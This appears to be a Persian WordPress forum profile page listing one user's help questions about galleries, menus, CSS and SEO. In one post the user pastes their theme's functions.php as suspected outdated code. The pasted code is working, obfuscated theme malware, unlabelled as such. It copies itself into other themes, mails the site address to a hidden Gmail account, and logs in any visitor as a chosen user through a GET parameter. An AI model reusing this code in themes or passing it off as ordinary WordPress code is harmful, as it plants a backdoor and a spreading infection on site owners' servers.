• اطلاعیه ها

    • Saeed Fard

      برگزاری میتاپ وردپرسی   14/08/96

      بعد از اولین دوره همایش وردپرس در ایران اگر پیگیر اخبار وردپرس بوده باشید، حتما خبر برگزاری چندین میتاپ و جلسه متعدد وردپرسی را شنیده‌اید، یکی از بحث‌های اصلی که محور اصلی این میتاپ‌ها بوده است برگزاری وردکمپ بود که به طور جدی دنبال می‌شود. این میتاپ‌ها و جلسات توسط جمعی از فعلان حوزه وردپرس در کنار وردپرس‌پارسی برگزار می‌شد و مسائل مربوط به این حیطه و از جمله وردکمپ مورد بحث قرار می‌گرفت. این بار با رایزنی‌هایی که با تیم اصلی وردپرس داشتیم در بخش دوم این رویدادها قصد داریم که میتاپ‌ها و جلسات وردپرسی را به صورت آزاد برگزار کنیم تا تمامی علاقه‌مندان و دوست‌داران وردپرس فرصت حضور داشته باشند و با گردهمایی، جامعه کاملتری از دوست داران وردپرس بسازیم و از تجربیات یکدیگر استفاده کنیم.   بدیهی است که این رویدادها با رویکرد مثبت در جهت سود رسانی به جامعه وردپرس و افراد حاضر در آن برگزار می‌شود و برای تمامی علاقه‌مندان به وردپرس است. پس اگر یک کاربر معمولی وردپرس یا یک توسعه دهنده هستید می‌توانید در این رویدادها شرکت کنید. ما در ملاقات‌هایمان از موارد مختلف و کاربردی وردپرس صحبت می‌کنیم و علاقمند به توسعه هر چه بیشتر وردپرس در ایران هستیم. ما وردپرس را دوست داریم. عضویت در این گروه برای همه افرادی که مایل به پیوستن هستند بدون در نظرگرفتن توانایی‌ها، مهارت‌ها، وضعیت مالی و یا معیارهای دیگر باز و رایگان است. فضای میتاپ‌ها و جلسات ما دوستانه و آزادنه و دور از هرگونه تبعیض و رفتارهای زننده است. بر این اساس از تمامی دوستانی که علاقه‌مند به شرکت در میتاپ‌های وردپرس هستند دعوت می‌شود تا از طریق لینک زیر در سایت میتاپ اقدام به ثبت‌نام کنند و منتظر خبرهای برگزاری جلسات در آینده باشند . لینک ثبت نام و عضویت : https://www.meetup.com/Iran-WordPress-Meetup    

webmaster404

عضو سایت
  • تعداد ارسال ها

    50
  • تاریخ عضویت

  • آخرین بازدید

اعتبار در انجمن

4

درباره webmaster404

  • درجه
    تازه کار
  1. سلام بنده میخوام گالری تصاویر بسازم. میخواستم از افزونه foogallery استفاده کنم ولی متاسفانه وقتی گالری ایجاد میکنم توی سایت درست نشون نمیده. از این دو افزونه دوتا دمو داشت که از اینا خوشم می اومد: http://foo.gallery/demos/responsive-image-gallery/ http://foo.gallery/demos/simple-portfolio/ اگه تونست باهاش کار کنه به ما هم بگه. یا اینکه افزونه مشابه معرفی کنید که بشه همین چیزی درست کرد. توضیحات تصاویر و قسمت زوم تصویر که وقتی کلیک کردم روش تصویر رو بزرگ نشون بده رو باید حتما داشته باشه.
  2. من این افزونه رو نصب کردم ولی فقط چندتا عدد داخل مدیریت وردپرس رو فارسی کرده نه چیز دیگه. منو ها و... انگلیسی هستش. همه گذینه های مربوه رو هم فعال کردم ولی چیزی تغییر نکرد. آیا باید کار دیگه ای هم انجام بدم؟
  3. لطفا یکی کمک کنه... گوگل وبمستر کلی ارور داده به خاطر این خطاها
  4. من مراحلی که گفته بودین رو انجام دادم و فهمیدم مشکل سفید شدن بعضی از صفحات سایتم از قالبم هستش. که از کدهای فایل فانگشن قالبم ایراد میگیره. فک کنم کدش قدیمی هستش ارور میده چون بعضی از کدهاش رو از قالب قدیمی استفاده کردم. کدها زیر فک کنم مشکل دارن. لطفا بگید بجای این کدها از چه کدی استفاده کنم؟ function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '', 'after_widget' => '</div><div class="wfo"></div>', 'before_title' => '<div class="wtop">', 'after_title' => '</div><div class="wco">', ));
  5. لینکی دادین رو زدم ولی صفحه اش خالیه.
  6. با سلام بنده یه قالب نوشتم. میخواستم بدونم تو صفحه اصلی سایت عنوان سایت h1 هستش و عنوان پست ها رو h2 گذاشتم. به نظرتون خوبه؟ توی صفحه ادامه مطلب هم دوستان میگن عنوان پست باید h1 باشه. خی اونوقت عنوان سایت رو چی باید بزارم؟ نام عکس های هر پست رو هم همون عنوان پست میزارم که به صورت فارسی هستش. به نظرتون این حالت بهتره یا بهتر از این هم وجود داره؟
  7. من یه سری منو دارم (15-20تاست)که چندتا از اونا زیر منوهای زیادی دارن مثلا یکیشون بیش از 50تا زیر منو داره. در حالت عادی زیر منو ها دیده نمیشن باید hover بشن تا نمایش داده بشن. حالا میخوام با این کد کاری کنم که اون منو هایی که خودشون هم زیر منو دارن از بقیه متفاوت باشن تا کاربر متوجه بشه. مثلا رنگ یا یه استایل خاصی داشته باشن. همچنین فقط منو نیست میخوام یاد بگیرم تا جاهای دیگه هم برای کارهای دیگه ام استفاده کنم. همچنین از طریق کلاسشون به تک مورد نظرم اشاره کنم؟؟ توی سی اس اس اینجوری اشاره میکنیم. leftmenu ul li{ } حالا اینو توی جاوا اسکریپت چطوری بگم؟
  8. ممنون از راهنماییتون ولی بنده زیاد به جی کوئری وارد نیستم. با خود css نمیشه اینکارو کرد؟؟؟ اگه میشه روش css رو بگید؟ واگرنه با جاوا اسکریپت بگید که چطور میشه اینکارو کرد؟
  9. با سلام میخواستم بدونم چطوری میشه مثلا به تگ ul که والد اون تگ li هست اشاره کرد؟ <li> <ul> </ul> </li> مثلا بگی والد همه تگ های ul که تگ li هستش رنگ قرمز داشته باشن ویا....؟؟؟ باتشکر
  10. یه آمار گیر قوی نصب کنید و ببنید مثلا این آی پی ها فقط از یه صفحه دیدن می کنند یا اینکه توی صفحات مختلف سایت می چرخن؟! ببینید آی پی هایی که میاد از کدوم کشور هستند؟! و....
  11. ممنون از همه دوستان. کد این دوستمون مشکلم رو حل کرد
  12. با سلام بنده توی قالبم فهرست ها رو فعال کردم و از قسمت فهرست ها یه منو ایجاد کردم و منو رو فعالش کردم ولی بجای منویی که تعریف کردم یه سری لینک هایی دیگه رو نمایش میده. کدی که تو قالب گذاشتم اینه <?php wp_nav_menu( array( 'theme_location' => 'top_menu' ) ); ?> عکسش رو ضمیمه کردم. بجای نمایش لینک های قسمت 1 لینک های قسمت 2 رو نشون میده. یعنی انگار لیست نام برگه هارو فقط نشون میده. کسی میتونه کمک کنه؟
  13. آخرش مشکلم رو تونستم حل کنم. باتشکر از پاسگویی سریعتون.
  14. توی یک هاست دیگه هم امتحان کردم ولی مشکلم حل نشد. یعنی هیچ کس اینجا بلد نیست مشکل از چیه؟؟؟
  15. 1- تفکیک رو متوجه نمیشم. یعنی جداول رو تقسیم بندی میکنه؟؟؟ 2- از نظر شما این افزونه برای بهینه شدن وردپرس شبکه مفید هستش؟ 3- از این افزونه بهتر هم وجود داره؟؟؟